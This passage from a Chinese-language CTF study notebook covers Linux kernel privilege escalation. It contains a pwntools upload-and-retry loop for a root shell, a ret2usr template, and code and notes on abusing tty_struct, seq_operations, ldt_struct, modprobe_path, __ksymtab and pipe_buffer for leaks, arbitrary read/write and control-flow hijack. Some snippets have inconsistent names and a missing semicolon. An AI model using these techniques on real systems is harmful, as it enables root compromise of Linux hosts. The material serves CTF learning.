p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> b64_exp")
count += 1

for i in range(count):
p.recvuntil("~ $")

p.sendline("cat b64_exp | base64 -d > ./exploit")
p.sendline("chmod +x ./exploit")
randomization = (try_count % 1024) * 0x100000
log.info('trying randomization: ' + hex(randomization))
p.sendline("./exploit " + str(randomization))
if not p.recvuntil(b"Rebooting in 1 seconds..", timeout=60):
break
log.warn('failed!')
try_count += 1

log.success('success to get the root shell!')
p.interactive()

5.retUsr模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct trap_frame{
void *rip;
uint64_t cs;
uint64_t rflags;
void * rsp;
uint64_t ss;
}__attribute__((packed)); // 保存状态的结构体
struct trap_frame status; // 保存状态

// 将状态保存在status中
void save()
{
asm(
"mov %%ss, %0\n"
"mov %%rsp, %1\n"
"pushfq\n"
"pop %2\n"
"mov %%cs, %3\n"
:"=r"(status.ss),"=r"(status.rsp),"=r"(status.rflags),"=r"(status.cs)
:
:"memory"
);
status.rip = shell;
}

void retUsr()
{
commit_creds(prepare_kernel_cred(0));
asm(
"swapgs\n"
"mov $status,%rsp\n"
"iretq"
);
}

九、常见可利用结构体

参考:【NOTES.0x08】Linux Kernel Pwn IV:通用结构体与技巧 - arttnba3’s blog

1.tty系列结构体—kmalloc-1024

打开设备:/dev/ptmx

tty_struct 的魔数为 0x5401,位于该结构体的开头,我们可以利用对该魔数的搜索以锁定该结构体。

上面堆->借助ptmx设备讲过了

2.seq_operations结构体—-kmalloc-32

打开设备:proc/self/stat

该结构体定义于 /include/linux/seq_file.h 当中,大小为0x20

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

通过函数指针泄露地址,再劫持start函数指针后对该设备进行读写即可调用劫持的start函数指针,控制程序流程。读写的时候可通过syscall创建pt_regs结构体来布置内核栈环境,然后通过swapgs_restore_regs_and_return_to_usermode函数返回用户空间。

西湖论剑2021线上初赛easykernel题解 - 安全客,安全资讯平台 (anquanke.com)

3.subprocess_info结构体—kmalloc-128

通过以下语句可以分配得到一个subprocess_info结构体,不同版本大小不同,如下版本形式的为0x60,使用kmalloc-128分配器

1
socket(22, AF_INET, 0);

结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct subprocess_info {
struct work_struct work;
struct completion *complete;
const char *path;
char **argv;
char **envp;
struct file *file;
int wait;
int retval;
pid_t pid;
int (*init)(struct subprocess_info *info, struct cred *new);
void (*cleanup)(struct subprocess_info *info);
void *data;
} __randomize_layout;

该结构体在分配时最终会调用其中的void (*cleanup)(struct subprocess_info *info);函数指针,所以如果存在一个UAF和条件竞争,在分配时启动另一个线程不断修改该函数指针,那么就能劫持程序流,再利用一些gadget就可以控制得到。

SCTF flying_kernel 出题总结 - 安全客,安全资讯平台 (anquanke.com)

4.ldt_struct结构体—kmalloc-16

参考:在 2021 年再看 ciscn_2017 - babydriver(下):KPTI bypass、ldt_struct 的利用、pt_regs 通用内核ROP解法 - 安全客,安全资讯平台 (anquanke.com)

(1)前置知识

结构体

ldt是即局部段描述符表(Local Descriptor Table),存放着进程的段描述符,在内核中有结构体ldt_struct与之对应。大小为0x10。

如下结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//v5.17 /arch/x86/include/asm/mmu_context.h
struct ldt_struct {
/*
* Xen requires page-aligned LDTs with special permissions. This is
* needed to prevent us from installing evil descriptors such as
* call gates. On native, we could merge the ldt_struct and LDT
* allocations, but it's not worth trying to optimize.
*/
struct desc_struct *entries;
unsigned int nr_entries;

/*
* If PTI is in use, then the entries array is not mapped while we're
* in user mode. The whole array will be aliased at the addressed
* given by ldt_slot_va(slot). We use two slots so that we can allocate
* and map, and enable a new LDT without invalidating the mapping
* of an older, still-in-use LDT.
*
* slot will be -1 if this LDT doesn't have an alias mapping.
*/
int slot;
};

该结构体可以通过系统调用SYS_modify_ldt来操控,想要调用该系统调用号需要编译时开启如下设置,不过一般都是默认开启的,从v4.3版本才开始较为正式的一个编译设置

1
CONFIG_MODIFY_LDT_SYSCALL=y

系统调用函数

具体的函数调用如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//v5.17 /arch/x86/kernel/ldt.c
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS;

switch (func) {
case 0:
ret = read_ldt(ptr, bytecount);//读取
break;
case 1:
ret = write_ldt(ptr, bytecount, 1);//写入
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}
/*
* The SYSCALL_DEFINE() macros give us an 'unsigned long'
* return type, but tht ABI for sys_modify_ldt() expects
* 'int'. This cast gives us an int-sized value in %rax
* for the return code. The 'unsigned' is necessary so
* the compiler does not try to sign-extend the negative
* return codes into the high half of the register when
* taking the value from int->long.
*/
return (unsigned int)ret;
}

也就是传入syscall相关参数,会调用不同函数,0对应read_ldt,1对应write_ldt(其实0x11的也差不多,就是oldmode设置为0了而已,具体的还得依据源码进行分析),依此看代码类似如下

1
2
3
4
5
//read_ldt从ldt_struct->entries读取8字节给buf
syscall(SYS_modify_ldt, 0, &buf, 8);

//write_ldt依据传入的buf数据和 sizeof(desc)创建一个新的ldt_struct结构体
syscall(SYS_modify_ldt, 1, &buf, sizeof(buf));

(2)实现任意读取

主要看write_ldtread_ldt函数,由于调用write_ldt函数时,会创建一个新的ldt_struct一些和利用无关的代码就先省略了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
//v5.17 /arch/x86/kernel/ldt.c

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
struct mm_struct *mm = current->mm;
struct ldt_struct *new_ldt, *old_ldt;
unsigned int old_nr_entries, new_nr_entries;
struct user_desc ldt_info;
struct desc_struct ldt;
int error;

//.........//
//从用户数据拷贝sizeof(ldt_info)数据给ldt_info
if (copy_from_user(&ldt_info, ptr, sizeof(ldt_info)))
goto out;

//.........//
//依据一些条件来进行处理
if ((oldmode && !ldt_info.base_addr && !ldt_info.limit) ||
LDT_empty(&ldt_info)) {
/* The user wants to clear the entry. */
memset(&ldt, 0, sizeof(ldt));
} else {
//seg_32bit最好直接设置为1,不设置其实也不会进去啦,
//allow_16bit_segments基本都会返回true
if (!ldt_info.seg_32bit && !allow_16bit_segments()) {
error = -EINVAL;
goto out;
}
/*
static bool allow_16bit_segments(void)
{
if (!IS_ENABLED(CONFIG_X86_16BIT))
return false;

#ifdef CONFIG_XEN_PV

* Xen PV does not implement ESPFIX64, which means that 16-bit
* segments will not work correctly. Until either Xen PV implements
* ESPFIX64 and can signal this fact to the guest or unless someone
* provides compelling evidence that allowing broken 16-bit segments
* is worthwhile, disallow 16-bit segments under Xen PV.
if (xen_pv_domain()) {
pr_info_once("Warning: 16-bit segments do not work correctly in a Xen PV guest\n");
return false;
}
#endif

return true;
}
*/
//一些相关的设置,会导致ldt里的数据被更改
fill_ldt(&ldt, &ldt_info);
if (oldmode)
ldt.avl = 0;
}

/*
static inline void fill_ldt(struct desc_struct *desc, const struct user_desc *info)
{
desc->limit0 = info->limit & 0x0ffff;

desc->base0 = (info->base_addr & 0x0000ffff);
desc->base1 = (info->base_addr & 0x00ff0000) >> 16;

desc->type = (info->read_exec_only ^ 1) << 1;
desc->type |= info->contents << 2;
//Set the ACCESS bit so it can be mapped RO
desc->type |= 1;

desc->s = 1;
desc->dpl = 0x3;
desc->p = info->seg_not_present ^ 1;
desc->limit1 = (info->limit & 0xf0000) >> 16;
desc->avl = info->useable;
desc->d = info->seg_32bit;
desc->g = info->limit_in_pages;

desc->base2 = (info->base_addr & 0xff000000) >> 24;
//
* Don't allow setting of the lm bit. It would confuse
* user_64bit_mode and would get overridden by sysret anyway.
desc->l = 0;
}
*/

//.......//
//依据sizeof(ldt_struct)用kmalloc申请chunk作为new_ldt
new_ldt = alloc_ldt_struct(new_nr_entries);

/*
static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size;

//.....//
//依据sizeof(ldt_struct)用kmalloc申请chunk作为new_ldt
new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL_ACCOUNT);
//....//

if (alloc_size > PAGE_SIZE)
new_ldt->entries = __vmalloc(alloc_size, GFP_KERNEL_ACCOUNT | __GFP_ZERO);
else
new_ldt->entries = (void *)get_zeroed_page(GFP_KERNEL_ACCOUNT);

if (!new_ldt->entries) {
kfree(new_ldt);
return NULL;
}

//The new LDT isn't aliased for PTI yet.
new_ldt->slot = -1;
new_ldt->nr_entries = num_entries;
return new_ldt;
}
*/

//.......//

//设置新ldt_struct结构体的entries指针
if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

//从ldt结构体中拷贝8个字节到对应位置
new_ldt->entries[ldt_info.entry_number] = ldt;

//......///

install_ldt(mm, new_ldt);
unmap_ldt_struct(mm, old_ldt);
free_ldt_struct(old_ldt);
//......//
out:
return error;
}
  • 将我们的传入的数据指针ptr,当作一个user_desc结构体拷贝给ldt_info
  • 然后依据ldt_info来设置desc_struct结构体ldt
  • 之后依据sizeof(ldt_struct)kmalloc申请chunk作为new_ldt
  • 如果存在old_ldt,那么就将old_ldt->entriesd的数据的拷贝给新的new_ldt->entries
  • 最后将ldt(8个字节)的内容赋值给new_ldt->entries[ldt_info.entry_number]
  • 在退出前还会插入new_ldt并且解开old_ldt,释放old_ldt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//v5.17 /arch/x86/include/uapi/asm/ldt.h
struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
#ifdef __x86_64__
/*
* Because this bit is not present in 32-bit user code, user
* programs can pass uninitialized values here. Therefore, in
* any context in which a user_desc comes from a 32-bit program,
* the kernel must act as though lm == 0, regardless of the
* actual value.
*/
unsigned int lm:1;
#endif
};


//v5.17 /arch/x86/include/asm/desc_defs.h
struct desc_struct {
u16 limit0;
u16 base0;
u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

比如有个UAF漏洞,我们就可以借助该函数,申请0x10大小的堆块,修改其entries指针,再借助read_ldt函数进行读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
struct mm_struct *mm = current->mm;
unsigned long entries_size;
int retval;

//......//
//entries_size肯定大于8192,那么至少可拷贝8192个字节
//#define LDT_ENTRIES 8192
entries_size = mm->context.ldt->nr_entries * LDT_ENTRY_SIZE;
if (entries_size > bytecount)
entries_size = bytecount;
if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
//.....//

out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}
  • 即获取当前进程中的ldt_struct结构体的entries指针指向的内存,拷贝bytecount个字节给用户

那么当如上述所示,借助UAF修改了entries指针之后,就可以进行任意地址读取最少可到达8192个字节的数据。

如果没有地址的话,可以使用爆破的方法来读取内核地址,因为如果没有命中内核空间copy_to_user会返回非0值,但是内核不会崩溃,借助这点特性可以用来爆破内核空间。

但是如果存在harden_usercopyKASLR,最好还是借助page_offset_basefork来从线性分配区中搜索数据,不然当copy_to_user的源地址为内核 .text 段(_stext, _etext)时或者线性分配区中的数据较为特殊时会引起kernel panic,致使内核崩溃。

原理就是在fork时最终调用到的是ldt_dup_context函数,该函数有如下操作

1
2
memcpy(new_ldt->entries, old_mm->context.ldt->entries,
new_ldt->nr_entries * LDT_ENTRY_SIZE);

会将父进程的拷贝给子进程,完全在内核中的操作,不会触发hardened usercopy的检查,那么只需要在父进程中设定好搜索的地址之后打开子进程来通过read_ldt()读取数据即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int pipe_fd[2];
size_t kernel_base = 0;
size_t kernel_offset;
pipe(pipe_fd);
size_t searchAddr;

//搜索page_offset_base
while(1)
{
myChunk.len = 0x8;
myChunk.idx = 0x0;
myChunk.data = &page_offset_base;//change the entries
editFun(fd,&myChunk);
retval = syscall(SYS_modify_ldt, 0, &desc, 8);//read_ldt 8 bytes form entries
if (retval >= 0)//judge yes or no
break;
page_offset_base += 0x2000000;
}
printf("\033[32m\033[1m[+] Found page_offset_base: \033[0m%lx\n", page_offset_base);


//从page_offset_base中搜索内核函数地址
searchAddr = page_offset_base;
while(1)
{
myChunk.idx = 0x0;
myChunk.data = &searchAddr
editFunc(fd, &myChunk);//修改entries指针
retval = fork();
if (!retval) // child
{
//读取0x8000数据
syscall(SYS_modify_ldt, 0, buf, 0x8000);
for (int i = 0; i < 0x1000; i++)
{
//选取特征数据
if ((buf[i] >= 0xffffffff81000000) && ((buf[i] & 0xfff) == 0x030))
{
kernel_base = buf[i] - 0x030;
kernel_offset = kernel_base - 0xffffffff81000000;
printf("\033[32m\033[1m[+] Found kernel base: \033[0m%p\033[32m\033[1m at \033[0m%p\n", kernel_base, search_addr);
printf("\033[32m\033[1m[+] Kernel offset: \033[0m%p\n", kernel_offset);
break;
}
}
write(pipe_fd[1], &kernel_base, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &kernel_base, 8);
if (kernel_base)
break;
search_addr += 0x8000;
}
kernel_offset = kernel_base - 0xffffffff81000000;

(3)实现任意地址写

同样的还是关于entries指针,如下在write_ldt函数中的代码,entry_number可控,ldt不太可控,那么可以先write_ldt一个new_nr_entries出来,然后再下一次write_ldt就可以给old_nr_entries赋值,进而在memcpy的时候拷贝大量数据。

1
2
3
4
5
6
7
8
9
10
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);
//...//
//设置新ldt_struct结构体的entries指针
//#define LDT_ENTRY_SIZE 8
if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

//从ldt结构体中拷贝8个字节到对应位置
new_ldt->entries[ldt_info.entry_number] = ldt;

而如果这时有个条件竞争,在拷贝过程中将new_ldt->entries给劫持了,那么就可以借助拷贝之后的语句new_ldt->entries[ldt_info.entry_number] = ldt;来依据ldt修改劫持之后的new_ldt->entries对应内存。

不过需要注意的是,虽然可以修改,但是其实ldt由于之前提到的设置原因,其数据会有所改变,不太能随意可控,但是如果可以设置4个字节的0数据,那就可以设置当前进程的euid了,这样也能提权,但是还没接触到怎么通过euid设置来提权。

但是arttnba3师傅写的用来修改euid之后调用seteuid的方法好使,不太清楚为什么,这个方法需要的数据不用太严苛吗?不太清楚哎。

【CTF.0x05】TCTF2021-FINAL 两道 kernel pwn 题解 - arttnba3’s blog

1
2
3
4
5
6
7
8
9
10
11
12
desc.base_addr = 0;
desc.entry_number = 2;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0 ;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;
sleep(3);
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));

5.kern_table数组

前置知识

这个不能叫结构体吧,不过这个可以利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//v5.17  /kernel/sysctl.c
static struct ctl_table kern_table[] = {
//......
#ifdef CONFIG_MODULES
{
.procname = "modprobe",
.data = &modprobe_path,
.maxlen = KMOD_PATH_LEN,
.mode = 0644,
.proc_handler = proc_dostring,
},
{
.procname = "modules_disabled",
.data = &modules_disabled,
.maxlen = sizeof(int),
.mode = 0644,
/* only handle a transition from default "0" to "1" */
.proc_handler = proc_dointvec_minmax,
.extra1 = SYSCTL_ONE,
.extra2 = SYSCTL_ONE,
},
#endif
//......
}

其中包含很多/proc/sys/kernel/下的文件句柄,这些是在linux内核启动时就进行映射的,和文件相关一一对应,如果我们能修改这些句柄,比如将data指针修改到任意位置,当我们打开/proc/sys/kernel/下对应的文件时,就能依据data指针,读取到该指针对应的数据。

而我们主要就是利用其中的CONFIG_MODULES定义下的modprobe,也就是以前提权经常用到的modprobe_path,可以看到,modeprobe这个文件映射句柄其中保存着modprobe_path这个全局变量

image-20220328141017757

内存分布如下

image-20220328141220790

实现任意读取

内存映射

除了上述的启动内核时发生映射外,当我们运行程序时,也会在内核的线性分配区page_offset_base0xffff888000000000发生映射,比如如下的v5.6版本下的内核,没开启KASLR的情况下映射偏移为0x2444100如下所示

image-20220328170627765

可以看到数据完全一致,而由于是映射关系,当我们修改其中一部分的数据时,另一部分数据也会发生变化,尝试修改data指针为0xffffffff82446ab0,两边都发生了变化。

image-20220328171003365

内存复制

除了内存映射区域之外,还有一个内存复制区域,也是在page_offset_base上,比如这里的偏移为0xec8a440

image-20220328172112145

可以看到完全一样的,但是由于是复制的关系,所以不存在映射关系,所以我们可以将内存映射的modprobedata指针指向内存复制的modprobedata指针,打开/proc/sys/kernel/modprobe文件即可获取到内存复制区域的modprobedata指针数据,即modprobe_path的地址,这样我们就可以在只有堆地址和任意写的时候,不泄露内核基地址的情况下,完成modprobe_path的地址泄露。

KASLR

如果开启了KASLR的话,就有点不同了,由于是文件内存映射和复制的关系,所以这个映射和复制的偏移量其实比较取决于文件系统和内核版本,内核的文件系统比较复杂,VFS接口下可连接一堆的文件系统,每个文件系统又都有点不一样,所以一般都需要实际分析,以下是我的测试结果

SVR4

这个文件系统也就是我们kernel题中常见的cpio后缀使用的,没有开启KASLR的时候,映射和复制的偏移都是确定的,实际调一下,借用peda插件的find功能可以容易搜索到。但是开启之后,复制的偏移基本不会变化,但是映射的偏移会发生变化,测试多次如下

1
2
3
4
5
6
7
8
v5.6
#modprobe_map 0x2444100
#modprobe_map 0x6844100
#modprobe_map 0x6c44100
#modprobe_map 0xd244100
#modprobe_map 0x5844100

#modprobe_copy 0xec8a440

但是观察也可以看到,其实偏移发生的话,相对于映射区域,只有一个字节发生改变,那么我们就可以尝试爆破这一个字节来获取。

ext4

这个文件系统的也比较常见,不过比较好的一点就是,实际测试结果发现映射和复制的偏移在开启KASLR之后都不会发生改变,所以测出来就可以直接使用了。

1
2
3
v5.15.26
#modprobe_map 0x3502530
#modprobe_copy 0x264e608

这个主要是最近的LINECTF上的encrypt这个内核题事后看WP出来的,忘记哪位师傅了。

其他猜想

之前的kern_table的结构可以看到,每个文件都有.mode属性,这个属性其实就是该文件的权限属性,也就是我们输入ls -al file出来的相关权限

image-20220329193540405

我们也可以对其进行操控。

权限更改

猜想一下如果更改该文件,使其内容变为一个可执行的elf文件,功能为cat /flag,然后更改其权限,赋予suid的权限,那么在执行过程中,就可以以root权限来cat flag。形式如下

image-20220329205636964

存在问题

但是这里有点问题,我实际操作的时候,权限倒是很容易更改,但是内容不能写入\x00\n,就很不好制作一个可执行的ELF文件,不知道有没有什么其他办法绕过。

可参考:打造史上最小可执行ELF文件(45字节) - C 语言编程透视 (gitbook.io)

此外之前P神的文章也提到,如果只是suid的权限的话,用shell脚本是不行的,所以这方面也不太能够搞定。

谈一谈Linux与suid提权 | 离别歌 (leavesongs.com)

至今还是不知道有没有什么其他的方法来绕过。

6.__ksymtab数组

前置知识

通常用在开启FG-KASLR的情况,该保护需要编译时开启

1
2
CONFIG_FG_KASLR=y
CONFIG_MODULE_FG_KASLR=y #模块随机化

通过nofgkaslr来关闭

不过我在编译设置.config的时候,没有找到这些选项,不知道为什么。

参考:

FGKASLR - CTF Wiki (ctf-wiki.org)

Kernel_pwn FG_KASLR in ROP | An9Ela (zhangyidong.top)

主要在于

  • 内核符号表__ksymtab

  • .data

  • swapgs_restore_regs_and_return_to_usermode

  • modprobe_path

  • 存在于.text_base__x86_retpoline_r15的函数没有受到影响。显然commit_credsprepare_kernel_cred()没有包含在内,但是可以在里面寻找一些gadget

以上均不会发生FG-KASLR的随机化

那么这里就是主要关注于__ksymtab数组,存在于该数组中的每一个函数块都有如下结构

1
2
3
4
5
6
//v5.17 /include/linux/export.h
struct kernel_symbol {
int value_offset;
int name_offset;
int namespace_offset;
};

注意是在v5.17下,在低版本下好像名字有点不同,不过也大同小异

绕过FG-KASLR

因为__ksymtab是不会被该机制影响的,所以我们肯定可以在没有开启KASLR的时候通过kallsym来获取到该地址,接着就可以找到对应函数的kernel_symbol结构体偏移,如下所示

image-20220330113641265

所以就可以这样来得到对应的任意地址,计算的时候可以这样计算,通过补码来进行计算更快一点。

image-20220330113813160

7.pipe管道—kmalloc-1024/kmalloc-192

参照:(31条消息) Linux系统调用:pipe()系统调用源码分析_rtoax的博客-CSDN博客_linux pipe 源码****

通常来讲,管道用来在父进程和子进程之间通信,因为fork出来的子进程会继承父进程的文件描述符副本。这里就使用当前进程来创建管道符,从管道的读取端(pipe_fd[0])和写入端(pipe_fd[1])来进行利用。

(1)使用方法

①创建

1
2
3
4
5
6
7
#include <unistd.h>

//使用pipe或者pipe2
int pipe_fd[2];

pipe(pipe_fd);//默认阻塞状态
//pipe2(pipe_fd,flag);

其中pipe2函数或者系统调用__NR_pipe2flag支持除0之外的三种模式,可用在man手册中查看。

如果传入的flag为0,则和pipe函数是一样的,是阻塞的。

阻塞状态:即当没有数据在管道中时,如果还调用read从管道读取数据,那么就会使得程序处于阻塞状态,其他的也是类似的情况。

会默认创建两个fd文件描述符的,该fd文件描述符效果的相关结构如下

1
2
3
4
5
6
7
8
9
10
11
//v5.9  /fs/pipe.c
const struct file_operations pipefifo_fops = {
.open = fifo_open,
.llseek = no_llseek,
.read_iter = pipe_read,
.write_iter = pipe_write,
.poll = pipe_poll,
.unlocked_ioctl = pipe_ioctl,
.release = pipe_release,
.fasync = pipe_fasync,
};

放入到pipe_fd中,如下

1
2
3
4
5
int pipe_fd[2];
pipe(pipe_fd);

printf("pipe_fd[0]:%d\n",pipe_fd[0]);
printf("pipe_fd[1]:%d\n",pipe_fd[1]);

效果如下:

image-20220509161948796

之后使用write/read来写入读取即可,注意写入端为fd[1],读取端为fd[0]

1
2
3
4
char buf[0x8] = {0};
char* msg = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
write(pipe_fd[1],msg,0x8);
read(pipe_fd[0],buf,0x8);

②释放

由于pipe管道创建后会对应创建文件描述符,所以释放两端对应的文件描述符即可释放管道pipe管道

1
2
close(pipe_fd[0]);
close(pipe_fd[1]);

需要将两个文件描述符fd都给释放掉或者使用read将管道中所有数据都读取出来,才会进入free_pipe_info函数来释放在线性映射区域申请的相关内存资源,否则还是不会进入的。

(2)内存分配与释放

①分配

发生在调用pipe/pipe2函数,或者系统调用__NR_pipe/__NR_pipe2时,内核入口为

1
2
3
4
5
6
7
8
9
SYSCALL_DEFINE2(pipe2, int __user *, fildes, int, flags)
{
return do_pipe2(fildes, flags);
}

SYSCALL_DEFINE1(pipe, int __user *, fildes) /* pipe() 系统调用 */
{
return do_pipe2(fildes, 0);
}

函数调用链:

1
do_pipe2()->__do_pipe_flags()->create_pipe_files()->get_pipe_inode()->alloc_pipe_info()

调用之后会在内核的线性映射区域进行内存分配,也就是常见的内核堆管理的区域。分配点在如下函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//v5.9 /fs/pipe.c
struct pipe_inode_info *alloc_pipe_info(void)
{
struct pipe_inode_info *pipe;
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;

//#define PIPE_DEF_BUFFERS 16
//.....
//pipe_inode_info管理结构,大小为0xa0,属于kmalloc-192
pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
if (pipe == NULL)
goto out_free_uid;

//.....
//相关的消息结构为pipe_buffer数组,总共16*0x28=0x280,直接从kmalloc-1024中拿取堆块
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);

//.....
//对申请的pipe管道进行一些初始化
if (pipe->bufs) {
init_waitqueue_head(&pipe->rd_wait);
init_waitqueue_head(&pipe->wr_wait);
pipe->r_counter = pipe->w_counter = 1;
pipe->max_usage = pipe_bufs;
pipe->ring_size = pipe_bufs;
pipe->nr_accounted = pipe_bufs;
pipe->user = user;
mutex_init(&pipe->mutex);
return pipe;
}

//.....
//出错的话则会释放掉,具体干啥的不太清楚
out_free_uid:
free_uid(user);
return NULL;
}

相关的pipe_inode_info结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//v5.9 /include/linux/pipe_fs_i.h
struct pipe_inode_info {
struct mutex mutex;
wait_queue_head_t rd_wait, wr_wait;
unsigned int head;
unsigned int tail;
unsigned int max_usage;
unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
bool note_loss;
#endif
unsigned int nr_accounted;
unsigned int readers;
unsigned int writers;
unsigned int files;//文件描述符计数,都为0时才会释放管道
unsigned int r_counter;
unsigned int w_counter;
struct page *tmp_page;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
//pipe_buffer数组,16个,每个大小为0xa0,通常我们从这上面泄露地址或者劫持程序流
struct pipe_buffer *bufs;
struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
struct watch_queue *watch_queue;
#endif
};

②释放

直接使用close函数释放管道相关的文件描述符fd两端。

函数链调用链:

1
pipe_release()->put_pipe_info()->free_pipe_info()

需要注意的时,在put_pipe_info函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//v5.9 /fs/pipe.c
static void put_pipe_info(struct inode *inode, struct pipe_inode_info *pipe)
{
int kill = 0;

spin_lock(&inode->i_lock);
if (!--pipe->files) {
inode->i_pipe = NULL;
kill = 1;
}
spin_unlock(&inode->i_lock);

//当files为0才会进入该函数
if (kill)
free_pipe_info(pipe);
}

只有pipe_inode_info这个管理结构中的files成员为0,才会进行释放,也就是管道两端都关闭掉才行。

相关释放函数free_pipe_info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//v5.9 /fs/pipe.c
void free_pipe_info(struct pipe_inode_info *pipe)
{
int i;
//....
//和管道相关的释放有关,也是相关的漏洞点
for (i = 0; i < pipe->ring_size; i++) {
struct pipe_buffer *buf = pipe->bufs + i;
if (buf->ops)
pipe_buf_release(pipe, buf);
}
//......
//释放pipe_buffer数组,kmalloc-1024
kfree(pipe->bufs);
//释放pipe_inode_info管理结构,kmalloc-192
kfree(pipe);
}

(3)利用

①信息泄露

pipe_buffer结构的buf

1
2
3
4
5
6
7
8
//v5.9 /include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

其中的ops成员,即struct pipe_buf_operations结构的pipe->bufs[i]->ops,其中保存着全局的函数表,可通过这个来泄露内核基地址,相关结构如下所示

1
2
3
4
5
6
7
8
9
10
//v5.9 /include/linux/pipe_fs_i.h
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);

void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);

bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

②劫持程序流

当关闭了管道的两端时,调用到free_pipe_info函数,在清理pipe_buffer时进入如下判断:

1
2
if (buf->ops)
pipe_buf_release(pipe, buf);

当管道中存在未被读取的数据时,即我们需要调用write向管道的写入端写入数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//v5.9 /fs/pipe.c
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
//......
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
//......
buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
//......

}

然后不要将数据全部读取出来,如果全部读取出来的话,那么在read对应的pipe_read函数中就会如下情况

1
2
3
4
5
6
7
8
9
10
11
12
13
//v5.9  /fs/pipe.c
static ssize_t
pipe_read(struct kiocb *iocb, struct iov_iter *to)
{
//....
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
//....
if (!buf->len) {
pipe_buf_release(pipe, buf);
//....
}
//....
}

从而调用pipe_buf_releasebuf->ops清空。

🔺注:(其实这里既然调用到了pipe_buf_release函数,那么我们直接通过read将管道pipe中的所有数据读取出来,其实也能执行该release函数指针的,从而劫持程序控制流的。)

那么接着上述的情况,那么在关闭两端时buf->ops这个函数表就会存在

image-20220509192251738

